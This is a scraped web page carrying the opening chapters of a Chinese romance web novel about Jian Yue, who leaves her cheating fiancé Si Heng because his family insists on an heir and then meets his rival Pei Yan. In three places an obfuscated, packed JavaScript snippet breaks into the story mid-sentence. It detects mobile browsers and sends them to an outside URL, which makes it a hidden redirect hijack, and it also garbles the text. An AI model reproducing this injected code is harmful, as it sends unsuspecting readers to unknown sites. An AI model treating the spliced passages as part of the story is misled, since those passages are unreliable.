《不生孩子又怎样》 1. 骄傲-1% 事情或许是从那句话后开始失控的。 从她说“不生孩子”起。 就像所有会考虑未来的男朋友一样,司衡偶尔也会因为别人的三口之家而触景生情,对她说:“我们以后也会有一个这样可爱的宝宝的。” 那时的简月怎么回答的来着? 她看着司衡的眼睛,非常平静坦然地说了一个字—— “不。” 生孩子?不。 不管别人想不想生,总之她不想生。 司衡的脸色立刻变了:“为什么?” “我不喜欢小孩。”简单,干脆。 司衡张了张嘴,哽住了。 只有脸上依旧是费解和不可思议的神情。 简月大概知道他想问什么,无非是,世界上怎么会有女人不喜欢小孩之类的问题。 可谁又规定女人一定要喜欢小孩呢。 她就不喜欢。 但说到底,这是他们第一次谈及此事,毕竟恋爱会分手,谁也不会在谈恋爱前就提前问好这么遥远的事。 眼看对话僵住,简月心态很好地给了他退路:“你接受不了的话,我们可以分手。” 说出这句话的时候,简月以为他们真的会就此分手。 即便男人不会当下就答应,也会说回去考虑考虑,然后再分手。 但出乎意料,司衡说:“不分手。” 那是个冬日的傍晚,他们刚看完一场电影首映,昏黄的路灯下细雪纷飞,男人就停在路灯下,眉眼被暖色调的光影晕出几分别样的温柔。 他又重复了一遍:“不分手。” 那是简月第一次在这场谈着玩玩的恋爱中,看到了点不一样的东西。 但,谁能想到。 * 泼出第一杯红酒的时候,简月心里的气勉强顺了一分。 但还远远不够。 红酒液顺着司衡的脸颊和发丝滑落,男人错愕地看着她,似乎完全没有想到她会出现在这里,而且还果断泼了他一杯酒。 而坐在他对面的女人—— 简月不认识她,但能看出那个女人有些害怕她,甚至在她举起酒杯的时候下意识躲了一下。 她大概以为那杯酒是泼她的。 简月瞥了她一眼,没兴趣再关注她,对着司衡冷冷出声:“你还有话要说吗?” 红酒液已经顺着男人的下巴流进了衣领,他却没有要擦的意思。 酒渍很快在衬衫上晕出妖异的红色。 定定看了她几秒,他说:“阿月,我们家不能无后。” 简月的心瞬间沉下——没有掩饰,没有辩解,他承认了。 司衡继续:“但天地可证,我爱的人只有你一个。” 只有她一个? 那还在订婚后出轨被她抓到? 她不愿意生孩子,所以他就要找别的女人来生? 这就是他爱她的方式? 听说人在无语至极的情况下会笑出来,所以简月真的笑出了声,而后没有犹豫,拿起酒重新倒满空酒杯——对着司衡的头浇了下去。 那女人在她拿酒杯的时候又是下意识一躲,接着惊讶发现,第二杯酒还是冲着司衡去的。 红酒液倾泻而下。 司衡没有躲,只在红酒流下去的时候闭上了眼睛。 “滚。” “分手。” 这是简月对他说的最后两句话。 她把空酒杯往地毯上一扔,转身大步离开。 经过领班身边的时候,领班战战兢兢看了她一眼,又看了一眼后面的司衡,权衡之下还是带着人向司衡跑去。 简月没有回头。 自动门在身后合上后,她深呼一口气,取出手机给好友发消息,边打字边下楼。 简月:[恭喜我,我又恢复单身了。] 姜予彤很快回复:[单身?司衡真的和那个女人?] 简月:[真的,他承认了,亏我以为他是——] 亏她以为他是真的爱她,哪怕没有孩子也愿意和她在一起。 万万没想到,他从来就没打算只选一个。 他想全都要。 越想越气,简月打字的手指开始发抖:[你知道他对我怎么解释的吗?他说他们家不能无后,好不好笑?] 打完后想按发送,却因气得厉害,手指一滑——那部手机就那么从她的手中直直飞了出去。 …… 看着手机从台阶上滚下去,简月都要被自己气笑了。 闭眼深呼吸一口气,她扶着墙向下小跑而去。 这家餐厅的楼梯很有设计感,是旋转型的,刚才手机虽然没飞多远,可滚了几下后,刚好滚出了她的视线范围。 小跑几步拐过半个弯,黑色手机重新出现在视线里。 简月上前捡起手机,按亮屏幕,惯例输了密码进去,却在界面跳转后,看着陌生的背景愣了一秒。 这个背景…… 哦,这不是她的手机,捡错了。 简月匆忙低头,又左右看了看,果然发现另一部一模一样的手机静静躺在角落。 她上前捡起,再次输入密码,看着跳转后的熟悉界面,微微松了一口气。 视线再次回到捡错的那部手机上。 一模一样的APPLE怀旧款,一模一样的黑色,一模一样的密码。 还挺巧。 难怪她会认错。 正准备将捡错的手机收起来,等下交给工作人员,下方忽然传来脚步声。 下一秒,一道男声跟着响起:“简小姐。” 简月骤然抬头,男人的样貌随之映入眼帘。 他很高,即便站在下方几节台阶的位置,也没有矮她一头的感觉,身上和一般的商业人士不同,没有穿衬衫打领带,只在西装里搭了件纯黑的T恤,看起来懒散又随意。 此刻他正微微抬眼,神色微冷,朝她伸出手:“我的手机,麻烦还给我。” 看着男人的脸,简月的心情一时有些微妙。 因为好巧不巧,这个人她认识,但也仅限于认识,没什么交集,也没怎么说过话。 至于为什么认识—— 还是因为司衡。 她偶尔从司衡口中听说过他的名字,知道他们在商业项目的方向上有高度重合,是竞争对手,或者说,死对头。 他可没少让司衡吃亏。 既然是司衡的死对头,那认识她也就不足为奇了。 裴言。 简月慢慢想起了他的名字。 裴言等了几秒,见她不说话,又上了一级台阶,出声催促:“简小姐。” 简月回神,反问他:“你怎么证明这是你的手机?” 裴言看她一眼:“密码0722,简小姐试完后,麻烦把手机还给我。” ……倒是不用试,简月已经信了。 不过为了避免误会,简月还是依言试了一遍密码,然后将手机还了过去。 接过手机,男人朝她略一点头,转身下楼。 看着他的背影,简月忍不住问:“你怎么在这儿?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747477|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 顶层已经被司衡清场,裴言不可能不知道。 既然知道,他们怎么会出现在同一个地方? 男人脚步一顿,没有回头,只是说:“公共场合,我不能来?” 简月:“……” 他还是没有回答她的问题。 裴言离开后,简月重新打开手机,消息栏已经被姜予彤轰炸了。 姜予彤:[不能无后?他是哪个朝代穿越过来的古代人?他是有皇位要继承还是有爵位要继承?傻逼吧!!!] 姜予彤:[所以他还是不能接受没有孩子……无语,既然这样为什么不早和你分手,还要吊着你?] 姜予彤:[然后呢,他还说什么了?] 姜予彤:[姐妹,你人呢?] 姜予彤:[?????人呢] 除了这堆消息,还有两个未接来电,都是姜予彤打的。 简月连忙打字:[没有没有,我手机掉了,刚捡回来。] 姜予彤继续秒回:[吓死我了,我还以为你出什么事了,你再晚回我一会儿,我都想报警了!] 简月:[没事,别担心。] 姜予彤:[还好有人发短信提醒你,否则他还不知道要脚踏两条船到什么时候。] 姜予彤:[对了,那个号码我顺便帮你查了下,已经注销了,那个,你还要继续查吗?] 姜予彤说的短信,是前几天一个陌生号码发给她的iMessage信息。 视频不长,不到十秒。 头尾都用了高倍速,只有中间几秒是正常速度。 而在正常几秒的画面里,一个女人站在司衡面前,轻轻说了一句话。 手机音量调到最大,能听到那句话是——“司衡,我怀孕了。” 简月握着手机沉默片刻,打字回道:[算了,注销了就随他吧,反正也不重要。] 估计是哪个看司衡不顺眼的人发的吧。 既然对方不想让她知道身份,那就算了。 * 半小时后,简月开车到了父母住的别墅区。 分手,她可以自己说,但退婚这种事,还得长辈出面。 家里的阿姨知道她要回来,早早就在门口等着,见她过来,赶紧问好替她开了门。 简月点头,向里走去。 穿过玄关来到客厅,母亲江颖已在沙发上等着她了。 看到她来,江颖忙站起来问她:“月月,你在微信里说的要退婚是什么意思?你和司衡不是感情挺好的吗,怎么了,他惹你生气了?” 提起这事简月就来气。 她深吸一口气,平复着情绪,一字一字道:“妈,他出轨了。” …… 从玄关跟出来的阿姨听到这句,缩了缩脖子,又默默转身,从玄关开门出去了。 简月继续补充:“妈,我亲眼看到的,他也承认了。” 将司衡的破事简单说了一遍后,江颖的脸色沉了下去。 她气极反笑:“看看,这就是他们司家教育出来的好儿子,真是把我们家的脸踩在地上侮辱。” 接着握住简月的手:“退婚,必须退婚!等你爸回来我就让他去退婚!还没结婚就敢出轨,把我们家当什么了!” 简月扶着江颖坐下,宽慰道:“嗯,妈你放心,我已经骂过他拉黑他了。他们家做出这种事,我们让他们滚就好了,别为这种人生气。” 安慰的话是这么说,但简月知道,其实自己心里更不甘心。 别为这种人生气……怎么可能不生气? 2. 骄傲-2% 等把江颖哄得气消一点后,手机正好显示有姜予彤的新消息。 姜予彤:[我把下午的事都推了,现在有空,怎么样,下午我陪你吧?] 简月心里一暖,打字:[好啊。] 自留学回来后,简月就为了方便,在市中心买了一套平层,只有周末节假日等清闲的时候才会回家住。 是以她对江颖说要走时,江颖也没有太多意外。 江颖送她到玄关,欲言又止了一会儿,还是开口道:“月月,司衡的事过去就过去了,这种人我们不要也罢。但往后,你有没有想好怎么办?” 简月看着母亲担忧的眼神,明白过来她在问什么。 想了想,她说:“妈,我可以不结婚。” 如果能遇到合适的人,那就结,如果遇不到,那就算了。 人的一生也不是非要结过婚才算圆满。 江颖沉默片刻,点点头,叹气道:“也好,只要你不受委屈就好。司衡的事,等你爸回来我就让他去司家退婚。” 简月笑了笑:“嗯,谢谢妈。” * 简月在约定好的咖啡馆见到了姜予彤。 咖啡馆被清了场,冷气十足的店里,她正一个人坐在窗边看手机。 简月走上前,敲了下桌子:“看什么呢。” 姜予彤这才后知后觉地抬起头:“你来了啊。” 她笑笑:“咖啡我帮你点过了,和往常一样,可以吧?” “嗯,可以。”简月放下包坐好,见姜予彤一直盯着她,不由奇怪,“怎么了?” “阿月。”她声音放轻了些,小心翼翼的,“你难受吗?” 窗外忽然响起一道汽车疾驰而过的声音,骤然盖过店里的声音,又骤然消失。 随着汽车开远,店内也好像陷入了静止,风铃的碰撞声,咖啡机的滋滋声,店员的脚步声,一切都静得落针可闻。 …… 而姜予彤会这样问,也是因为,她知道简月是一个对伤痛不敏感的人。 或者,也可以用后知后觉和回避来形容。 明明遇到了不开心的事,却意识不到自己的痛苦与难过,甚至还能若无其事地与旁人说笑,有条不紊地继续生活,看起来强大得像是没有受到任何伤害。 但无人在意的伤口总有一天会溃烂发炎,只有痛到无法忽视时,她才能意识到,原来她受伤了,原来她很疼,原来她很难过。 就像路上走着走着突然哭了才会意识到是最近压力太大。 就像和某个人分开很久,直到有一天再看到和他有关的东西时才会突然崩溃,意识到自己原来很想念那个人。 …… 简月,就是这样的人。 此刻,看着若无其事一脸平静的简月,姜予彤开始有点担心了。 “您好。”店员适时的说话声打破了她们之间的沉默,她放好简月的咖啡,弯腰微笑道:“请慢用。” “谢谢。”简月点了下头,低头搅拌起咖啡,等店员走远才慢吞吞说道,“还好,没有很难受,就是气不过而已。” 姜予彤心一揪,更担心了。 简月向来是个不会勉强自己的人,能走到订婚这一步,就说明她对司衡多多少少是喜欢过的。 她就是害怕,害怕简月有一天会突然崩溃,而她什么都不能为她做。 风铃发出清脆的碰撞声,姜予彤朝她笑笑,说:“嗯,那你要是难受的话,就找我,我陪你。” 刚喝完一口咖啡的简月听到这句,忍不住也笑了:“好啦,我真的没事,就算之前喜欢过他,那也在看到他和那个女人在一起后下头了,渣男而已,有什么好难受的?” 或许是有一点难受,但那也只是因为司衡耍了她而已。 况且比起难受,更多的还是咽不下这口气。 更多的,还是想要报复他。 想看他失败,想看他摔到谷底。 “不过他这么对我,我倒是挺想看他一败涂地的。只要他不爽,我就爽了。”放下咖啡,简月冷冷扯了个笑出来。 “只要司衡一败涂地?那那个女人呢,你不管她了?”姜予彤反问。 “……”简月笑容沉下去,半晌,她开口,“随她去,陌生人而已,我管不着。” “人性本恶,陌生人怎么害我怎么对不起我都很正常,但司衡。”她重重咬字,“他是以我男朋友的身份对不起我的,他才是最可恨的。” 姜予彤看着她怔了一下,接着点头:“行吧,你不介意就好。”说完又笑笑,随意开起玩笑,“不过这么一来,你和裴言应该挺有共同话题的。” 她挑了下眉:“毕竟在这个圈子里,没人比他更想看司衡摔下去了。” 听到“裴言”这个名字,简月微微一怔,想起什么:“对了,我今天……见到裴言了。” 接着补充:“就在司衡吃饭的那个地方,我当时给你说我手机掉了,正巧他的也是,我还把两个手机捡错了。” “……”姜予彤拧眉,一脸不解,“他怎么会在那儿?” “我问了,但他说——”简月学起他呛人的语气,“公众场合,我不能来?” “……所以他也没回答你的问题。” 简月点头。 姜予彤继续拧眉,思考了几秒,忽然放下咖啡杯,看着她正色道:“我现在合理怀疑,那条短信是裴言找人给你发的。” 简月:“……” 好像,也不是不可能。 “你想,裴言要是知道司衡出轨,肯定会好好利用一把,顶层决策人出现这种道德污点,影响的可是整个公司的形象!” “况且他那个时候出现在那里,肯定是等着你抓司衡的现行,然后他好借机做文章。” 姜予彤越分析越觉得有道理,最后看着她道:“如果真是裴言做的,那我觉得,其实你可以找他合作。” “你不是想看司衡失败吗,裴言可是他的死对头,针锋相对抢了那么多次资源,早就水火不容了,你找他合作,说不定真能搞垮司衡。” 简月默默听着,心里微微一动。 找裴言合作吗…… 半晌,她若有所思道:“我想想吧。” * “裴总。”助理放下一份文件,汇报道,“号码已经注销了,您放心。” 裴言接过文件,低着头“嗯”了一声。 “……”打量一眼裴言神色,觉得他心情尚可,助理继续道,“今天的事……我们真的什么都不做吗?” 他指的,是今天司衡和简月撕破脸分手的事。 这其实是个很好的机会,只要将司衡出轨的事爆出,创世的形象就一定会受损,形象受损,就一定会对接下来的对外合作造成影响。 哪怕只是造成0.1%的损失,对他们亚恒也是只有好处没有坏处。 可就是这种净赚不亏的事,裴总竟然说什么也不做。 他不理解。 办公桌后的男人抬起头:“是我说的不够清楚?” 助理赶紧低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747478|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头。 十分钟后,看着助理退出办公室,裴言放下笔,拿起自己的手机输入密码。 屏幕跳转至主界面。 映入眼帘的,除了几个必要的APP,就是那张被当做背景图的照片了。 照片拍的是英国某个地方,拍摄角度和技巧都相当一般,无论是前景的路人还是后景的建筑,都拍得糊成一片,毫无美感。 然而再定睛细看,会发现其中一个路人的背影,与简月有几分形似。 裴言看着那个背影,沉默着。 他很确信简月今天看到这张照片了。 可她毫无反应,那就只能说明—— 她果然不认识他了。 没有打开任何一个APP,一分钟后,裴言又按灭了手机。 * 司衡下车的时候,天正好黑透。 他望了一眼黑压压的天,莫名觉得身上有点冷。 正前方的别墅在黑夜里像个庞大的怪物,安静又虎视眈眈,似乎下一秒就准备吞噬他。 想到司知行的电话,他脚步停了下来。 接着转身从车里取了包烟出来。 火光在黑夜中亮起,他夹着烟,吐出一大口烟圈。 真烦啊。 他和简月已经完了,他们还想怎样。 在车旁抽完一根烟,又等到烟味儿散得差不多,司衡才慢吞吞向别墅走去。 然而等开了门,还没看清眼前人是谁,迎面就是一个巴掌落下来。 司知行站在玄关的台阶上怒目看着他,手掌因为用力还在微微颤抖着:“逆子!” 司衡被打得偏过头去,他伸手,擦了擦嘴角,看到指尖的一抹血迹,终于无声地笑了出来。 他说:“您叫我回来就是为了这一巴掌吗?还有吗?您要是打完了,我是不是就能走了。” “你自己做的那些事,你以为一巴掌就能解决了?你自己说,让你跟简月分手你为什么不分!现在好了,拖了两个月,倒是被他们抓住把柄先来退婚了,你让我的脸往哪儿搁!”司知行越说越气,胸口开始剧烈起伏。 听到“简月”两个字,司衡缓缓转头,重新对上司知行的视线。 “分手?”他轻声道,“我根本就不想和她分手,与其一开始就好聚好散,我宁愿她恨我,换来这苟延残喘的两个月。” “只要能和她在一起,一天我也愿意。” 司知行冷笑:“当初是我没给你机会吗?是我阻止你和她在一起了吗?” “怎么没阻止?”司衡回以冷笑,毫不客气道,“你要孩子她不要,这还不算阻止?” “女人的鬼话你也信?”司知行眯起眼睛,“哪有女人不生孩子的?就算她不想,你让她怀了孕,她还能去打掉不成?她还能……” “够了!”司衡握紧拳,眼里腾起怒意,“她不是你生孩子的工具,你少提这件事!” “我少提?”见司衡动气,司知行瞬间更气,“这就是你对你爹说话的态度?我少提?现在司家被退婚,成了笑柄,你满意了?那个姓裴的一直对创世虎视眈眈,现在你把机会送到他手上,满意了?” “那是我的事,有什么后果,我一力承担就是。”司衡冷冷道,“看您今天的样子,是不打算让我进这个门了,那就等改日,您脾气好点了我再来。” 他说罢转身,毫不犹豫地开门离开。 房门大敞,冷风从外面灌进来。 司知行气血上涌,对着司衡的背影狠狠骂道:“逆子!” 3. 骄傲-3% 简、司两家婚约取消的事是在第二天传开的。 没有无关人士插手,是简家自己公布的。 很快,江市的整个商圈几乎都知道了司衡的破事。 不过这事说小不小,说大也不大。 说不小是因为这事虽然在私下有不少,经常有高层和小管理得了点钱和权就飘飘然,但再怎么飘飘然,也很少有闹到公众明面上的,基本都是私下了结。闹得这么难看,还是公司一把手……这可真是头一遭。 说不大则是因为,这事虽然有影响,但商人逐利,很少有因为个人原因而永不合作的,即便这一两次因为舆论而避嫌,往后也迟早会因利再聚,毕竟时间会让大家选择性遗忘。 简家和司家,看来是彻底撕破脸了。 只是审时度势看热闹的同时又不免奇怪,创世出了这种事,亚恒怎么还没做点什么? 这很反常。 * 没多久,司衡出轨的事出现在了热搜词条上。 底下不免是一片谩骂。 简月看了眼内容,确认完没有什么不该出现的,然后去了一趟公司。 或许是因为司衡的事,公司的人看她都战战兢兢的,一个个比平时谨慎了不少,生怕哪句话说错就被发配了。 简月注意到那些人的表情,没有说什么。 她走进会议室,面无表情地听完全程,最后给了几句建议,拿起车钥匙向车库走去。 刚才的会是每个月都要开的评估例会——评估近期投资的方向和产业。 公司主投资,那投资前的评估自然是重中之重。 她听了,倒是没什么大问题,只能说和往常一样,无功无过。 但如果她想和裴言合作,她要拿出什么裴言才会感兴趣? 沉思间,电梯响起一声提示音,负一层到了。 简月回神,提着包走出电梯,在快到自己车前的时候,看见了一个人。 一个昨天才见过、却又感觉久违了的人。 司衡。 男人靠着自己的车不知在想些什么,听到脚步声,他抬眸望过来。 便是在对视的那一瞬间,简月看到了他眼下的乌青和脸颊的淡淡红印。 她脚步一停,心里的气顿时又顺了一分。 被打了啊。 被司知行打的吧。 看来打得不轻,痛快。 司衡看着她,慢慢站直了身体,开口:“谈谈,可不可以?” “不可以。”简月重新迈步,向自己的车走去,经过司衡身边时,冷冷撇他一眼,“让开。” “我要是不让呢?”他竟然笑了。 简月拎起包抡过去:“滚。” 司衡不由抬手去挡,却还是被包打得退后了半步。 趁着他后退,简月赶紧从他身边穿过,打开车门上了车。 车很快发动。 简月没急着开走,看了司衡一眼,摇下车窗皱眉问他:“你怎么会在这儿?” 这是公司的专用地库,非员工不得入内,他怎么进来的? 他被包抡了一下也不恼,仍保持着唇边的笑:“我找你有事。” “什么?” “补偿你。”司衡解释,“是我对不起你,我知道。所以你想要什么补偿,想怎么发泄,我都认。首饰,收藏品,还是房子,只要我给得起,都可以。” 简月攥紧方向盘,又气得想笑了。 补偿?他把她当什么人了? “我看起来像是缺这些的人吗?”她冷笑,“我很稀罕你的补偿吗?” “那你想要什么?”司衡声音温柔地问道,不像是面对已经分手的前任,更像是面对正在热恋的爱人。 简月眯了眯眼,同样温柔道:“想要你身败名裂啊。” 身败名裂,这样狠的四个字,司衡听完却不觉得害怕,反而温柔更甚:“这么恨我?” “当然。”她收回目光不再看他,“不过还得谢谢你出现在这儿,提醒了我,我等下就让人把你加入公司所有门禁系统的黑名单。” 说完再不给他机会开口,摇上车窗,将车开了出去。 车要转弯驶向出口时,简月透过后视镜又看了一眼司衡。 他站在原地没有动,也没有追她的车,面容模糊不清,看不清他是什么表情。 刚才的口舌之争虽然爽,可离开之后,简月只觉得心里涌起一股深深的疲惫和失望。 为什么会变成这样呢? 曾经的司衡也满眼是她,陪她走过高空索道,陪她跳过伞,陪她做过想做的一切,可到最后,还是比不过一个孩子。 孩子对于男人来说,真的就有那么重要吗。 既然觉得孩子比她重要,那早点提分手有那么难吗。 她又不是不成全他。 车开出地库的时候,简月才发现下雨了。 是啊,立秋了,该下雨了。 傍晚的天,雨水淅淅沥沥落在玻璃上,天幕变得灰蒙蒙一片。 简月的心情更差了。 心里又堵又闷,好像做什么都无法排解。 她开着车漫无目的地转了一会儿,最后在江边不远处停了下来。 石板路上不时有水花溅起,简月静静看了一会儿,拿伞下了车。 这是她一个很小众的习惯。 有什么烦心事,就来江边走走,走累了就找个地方坐下,放空思绪,什么都不想,就静静看雨,静静听着雨声。 步行道的一侧种着一排郁郁葱葱的树木,雨水落在上面,发出悦耳的沙沙声。 简月撑伞走上步行道,听着雨落在伞面上的声音,想起了一些事。 很小的时候,或许是五六岁,或许是六七岁,某个晚上,她半夜起来喝水,正好看到江颖一个人坐在客厅里放DVD看。 她揉着眼睛叫了声妈妈,然后就看见回过头看她的江颖,满脸是泪。 那时的简月不懂江颖的眼泪是什么意思,但没过几天,她就听见她的母亲对着她的父亲哭诉了很长一段话。 “你知道我这些年在想什么吗?我有时候真希望我谁都不是,有一天离家出走跑到一个谁也找不到的地方,然后再也不回来。” “我以前有属于自己的生活,每一分每一秒都属于我自己,可是现在有了月月,每时每刻我都要担心她吃得好不好,睡得好不好,会不会生病,有没有学坏。” “我觉得自己的人生好像和月月绑定了一样,一直到我死我都放不下她,可我不止是月月的母亲,我还是江颖啊?我知道我不该这么想,但是怀英……我好累啊,不是身体累,是心累,我如果只是自己就好了。” 江颖说得太激动了,完全忘了这样的音量会被她听到。 于是简月隔着一扇门,将这段话听得清清楚楚,一字不落。 然后莫名其妙记了好多年。 后来她的房门被敲开,江颖还是一副温柔耐心的样子,问她吃不吃水果,问她明天想去哪里玩。 脸上看不出半分刚才哭诉的痕迹。 她呆呆看着江颖,没有多说,也不敢多说。 但幼小的心自此缺了点什么。 几年后她慢慢长大,接触了英语,才知道江颖那晚放的是一部美剧,名字叫《HowIMetYourMother》。 而那天播到的内容,正是Lily和Ted的一段倾诉。 “SometimesIwishIwasn’tamom,sometimesIwanttopackabagandleaveinthemiddleofthenightandnoeback.” “有时候我希望自己不是一个母亲,有时我真想打包一个行李然后半夜逃走再也不回来。” “Imean,Ilovebeingamom,andIloveMarvinsomuch,butdoyourememberwhenIwantedtobeanartist?Artwasmywhol ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13747479|145339||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' elife,andnowit’sbeenmonthssinceI’veevenpickedupabrush.” “我是说,我喜欢当母亲,而且我那么爱马尔文,但是你还记得我以前想当个艺术家吗?艺术就是我生活的全部,但现在好几个月了,我都没碰过画笔。” 然后她忽然懂了江颖的共情。 …… 雨越下越大了。 简月停了下来,望着江面上一圈圈荡开的涟漪,自嘲一笑。 她确信,江颖爱她,很爱她,爱到愿意付出一切,乃至生命。 她知道这么多年江颖从来没有丢下她不管,那时的哭诉只是情绪的宣泄,但,说出的话泼出的水。 就像纸上揉出的褶皱一样,再怎么小心翼翼地修复爱护,也终究有痕迹走过了。 她不怪江颖,因为同样的,她也很爱她。可那些话在心头萦绕得久了,某种认知也就越来越清晰。 这世上,每个人都是独立的个体,首先是自己,然后才是别的,或者父母,或者老师,或者朋友。 比起无条件地爱她,先考虑自己,才是人之常情。 也因此,看到司衡和那个女人在一起时,除了一瞬间的愤怒,她竟还有一丝意料之中的感觉。 毕竟不要孩子是司衡为她做出的妥协,比起为她妥协一辈子,司衡先考虑自己,也是很正常的一件事。 多正常,太正常了。 从一开始,司衡就和她不是一路人,他的妥协就像弹簧,压得越狠,某一天就会反弹得越高。 果然吧,人都是为自己着想的。 她只是试图去信一个人,然后发现自己信错了而已。 姜予彤问她难受吗? 不难受,有什么好难受的,人都是如此,她早就知道了。 最后一次,简月告诉自己。 她再也不会相信男人不要孩子的鬼话了。 * 雨下到傍晚也没停。 星月被云层遮住,天幕看起来黑压压的,只有路灯在雨中发着星星点点的光。 简月顺着步行道走了个来回,下了台阶准备开车回家,却脚步一顿,发现自己的车旁不知何时多了一辆车。 黑色的,没打车灯,看起来里面没人。 才这么想了一下,就见车前灯一亮,车门打开,司机撑着伞跑到后面,恭恭敬敬替后车座的人开了门。 一只擦得黑亮的皮鞋踩进水里,男人自车里缓缓而出。 伞面遮住了他的脸,随着他站直,伞面一点点上抬,简月才看清他的模样。 ……是裴言。 竟然是他。 但和昨日不同,今日的他换上了正式的衬衫和西装,腕表领带样样透着奢侈与贵气,连衬衫袖口都极为讲究地露出三分。 一看就是精心打扮过的。 简月看看车又看看人,对他的到来隐隐有了预感:“你在等我吗?” 撑伞的司机微微一笑,主动替裴言回答:“简小姐,裴总已经等您多时了。” “哦。”简月点头,“什么事?” 雨声阵阵,恍若没有尽头。 裴言接过伞,给了司机一个先回车上的眼神,然后向她走来。 天幕是黑色,伞面是黑色,大片的黑笼罩下来,隔着一层雨幕,本该看不清,可她却没由来地觉得,男人的眼神有种莫名的深刻,深刻到近乎灼热。 只是轻飘飘落在她身上,只是一眼,却仿佛……认识了她很久一样。 雨丝顺着风飘到她的脸上,简月怀疑是自己看花了眼,眨了眨眼想看得更清楚些,却发现那种感觉消失了。 他的脸在她面前越来越清晰,离她越来越近,简月却再也找不出一丝多余的情绪。 平静冷淡,宛如陌生人。 果然是错觉吧,她想。 “简小姐。”脚步声终于停下。 裴言撑伞看她,隔着一步之遥的距离,平静开口:“合作吗。” 4. 骄傲-4% 合作。 简月很快反应过来裴言是什么意思。 原本她还在思考要不要去找他,没想到竟是裴言先找上了她。 死对头……他还真是挺恨司衡的啊。 简月:“司衡?” 裴言点头。 简月了然,反问道:“你想要什么?” 合作都是奔着好处去的,他想要什么? “下着雨,简小姐确定要在这里和我谈吗?” 他话音还没落下,一朵水花就在她脚边溅开。 像是在佐证他的提议一样,转眼将她的袜子又打湿了一层。 简月低头看了一眼,抬起头道:“今晚我不方便,明天呢?” 见她低头,裴言也跟着低头看了一眼,没看出什么所以然,重复着反问:“不方便?” “刚才在江边走了会儿,身上淋了雨,不舒服。” 她说的不舒服,是指裙边和袜子沾了雨,湿哒哒地贴在皮肤上,急需回家洗澡换一身干净清爽的衣服,但裴言看着她,似乎理解成了另一种意思。 “可以。”他点头,“春溪路有一家叫‘通幽处’的茶馆,明天下午两点,我在那里等你,到时会有人领你上楼。” 捕捉到这个地点,简月奇怪:“不在公司谈?” “人多,闲话也多。” 哦,也是。 想到自家公司员工看她的眼神,简月觉得有道理。 “好,我记住了。”她痛快点头,想着谈话结束可以走了,却见面前的男人一动不动,没有挪步的意思。 下一秒,他将手里的伞伸向她:“帮我拿一下。” “……啊?” 简月愣了一秒,那把黑伞就已经塞到她的手里,接着男人脱下西装外套,用外套换走了她手里的伞。 衣服的里面还残留有男人的体温,简月看看手腕上搭着的衣服,又看看裴言,一脸莫名其妙:“什么意思?” “合作的事我只邀请一次,简小姐,注意身体,明天不要让我白等。” 见他转身要走,简月想起什么,叫住他:“等等,裴……” “还有事?”男人回眸看她,停下了脚步。 “你很恨司衡?”她情不自禁道。 一瞬间,那双眼睛里有什么情绪闪过,但很快,他握紧伞柄,若无其事地勾了下嘴角:“利益而已,谈不上恨。” 说完这句话,裴言不再看她,快步上了车。 黑色宾利眨眼间在雨夜消失。 * 回到家,将西装外套随手搭在一边,简月先去冲了个澡。 等裹好浴巾从浴室出来,她坐在沙发上,身体向后一靠,软绵绵地陷了进去。 还是清爽干净的浴巾舒服。 她望着窗外的雨,发了会儿呆。 今天裴言来找她这件事,实在出乎她意料。 什么样的原因,才能让裴言比起她这个被绿了的人,还要积极地想搞垮司衡? 是他说的利益,还是,他真的很恨他? 对了,昨天裴言明明看到她和司衡闹掰了,他怎么没趁机先爆出这件事? 舆论风向这件事,难道不是越早发声越好掌控吗? 这么想了一会儿,简月打开手机,在搜索框输入了“裴言”两个字。 虽然从前听司衡说过几次,但那时她对裴言不感兴趣,听得也不甚专注,转眼便忘,如今才算是第一次想认真看看,裴言到底是什么样的人。 界面跳转至对大众公开的资料界面,简月发现,裴言的过往几近空白。 只简单提到他之前在国外生活,五年前回国,空降亚恒,紧接着就是管理层的大洗牌。 而五年前,正好是裴家另一个儿子车祸身亡的时间点。 这么算来……裴言五年前突然回国,其实就是裴家需要他了。 比起辛苦创立起的公司拱手让给外人,起码裴言流的是裴家的血。 不过既然都是裴家的儿子,为什么他们这些江市人从小只听说过意外身亡的那一个,而没有听说过裴言? 过去的二十多年里,裴言一直都在国外吗? 简月又翻了几下,发消息给姜予彤:[你觉得,裴言这个人靠谱吗?] 之所以问她,是因为姜予彤作为演员,主业在影视圈,而亚恒和创世的主业务恰好也在影视圈。 圈里认识的人多,自然也就对裴言的印象和了解更多一些。 姜予彤:[嗯?专门问我这个,是想好要找他合作了?] 